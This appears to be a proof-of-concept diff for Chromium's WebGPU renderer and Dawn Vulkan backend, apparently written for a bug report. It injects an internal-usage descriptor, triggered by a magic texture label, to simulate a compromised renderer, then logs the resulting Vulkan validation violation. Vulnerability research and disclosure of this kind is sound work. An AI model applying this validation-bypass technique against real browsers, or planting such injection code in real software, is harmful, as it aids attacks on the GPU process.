diff --git a/third_party/blink/renderer/modules/webgpu/gpu_texture.cc b/third_party/blink/renderer/modules/webgpu/gpu_texture.cc index 3564e94c6176b..74023311f5d89 100644 --- a/third_party/blink/renderer/modules/webgpu/gpu_texture.cc +++ b/third_party/blink/renderer/modules/webgpu/gpu_texture.cc @@ -207,6 +207,24 @@ GPUTexture* GPUTexture::Create(GPUDevice* device, } } + // ===== POC INJECTION (simulates compromised renderer) ===== + // DawnTextureInternalUsageDescriptor is wire-serializable (dawn.json tags + // ['dawn'], not ['dawn','native']) and the DawnInternalUsages feature is + // unconditionally enabled by webgpu_decoder_impl.cc for all web devices. + // A compromised renderer can therefore chain this struct in the + // DeviceCreateTexture wire command. We trigger this when the JS sets a + // magic label so the rest of the page works normally. + wgpu::DawnTextureInternalUsageDescriptor poc_internal_usage; + if (webgpu_desc->label() == "POC_INTERNAL_STORAGE") { + poc_internal_usage.internalUsage = wgpu::TextureUsage::StorageBinding; + poc_internal_usage.nextInChain = dawn_desc.nextInChain; + dawn_desc.nextInChain = &poc_internal_usage; + fprintf(stderr, + "[POC] Chaining DawnTextureInternalUsageDescriptor" + "{internalUsage=StorageBinding} into DeviceCreateTexture wire cmd\n"); + } + // ===== END POC INJECTION ===== + GPUTexture* texture = MakeGarbageCollected( device, device->GetHandle().CreateTexture(&dawn_desc), webgpu_desc->label()); diff --git a/third_party/dawn/src/dawn/native/vulkan/TextureVk.cpp b/third_party/dawn/src/dawn/native/vulkan/TextureVk.cpp index a2ae53cc41..750772c3d0 100644 --- a/third_party/dawn/src/dawn/native/vulkan/TextureVk.cpp +++ b/third_party/dawn/src/dawn/native/vulkan/TextureVk.cpp @@ -2105,6 +2105,30 @@ MaybeError TextureView::Initialize(const UnpackedPtr& des usageInfo.usage = VulkanImageUsage(device, GetInternalUsage(), GetFormat()); createInfo.pNext = &usageInfo; + // ===== POC INSTRUMENTATION ===== + // Log the (format, usage) pair handed to vkCreateImageView so the bypass is + // observable on stderr regardless of whether Vulkan validation layers are + // enabled. VK_FORMAT_R8G8B8A8_SRGB == 43. VK_IMAGE_USAGE_STORAGE_BIT == 0x8. + fprintf(stderr, + "[POC] vkCreateImageView: VkFormat=%d " + "VkImageViewUsageCreateInfo.usage=0x%x storage_bit=%d srgb=%d\n", + static_cast(createInfo.format), + static_cast(usageInfo.usage), + (usageInfo.usage & VK_IMAGE_USAGE_STORAGE_BIT) ? 1 : 0, + (createInfo.format == VK_FORMAT_R8G8B8A8_SRGB || + createInfo.format == VK_FORMAT_B8G8R8A8_SRGB) + ? 1 + : 0); + if ((usageInfo.usage & VK_IMAGE_USAGE_STORAGE_BIT) && + (createInfo.format == VK_FORMAT_R8G8B8A8_SRGB || + createInfo.format == VK_FORMAT_B8G8R8A8_SRGB)) { + fprintf(stderr, + "[POC] *** VUID-VkImageViewCreateInfo-usage-02275 VIOLATION: " + "STORAGE_BIT requested on SRGB view format — Dawn validation " + "was bypassed via DawnTextureInternalUsageDescriptor ***\n"); + } + // ===== END POC INSTRUMENTATION ===== + VkSamplerYcbcrConversionInfo samplerYCbCrInfo = {}; if (auto* yCbCrVkDescriptor = descriptor.Get()) { mIsYCbCrFilterable = static_cast(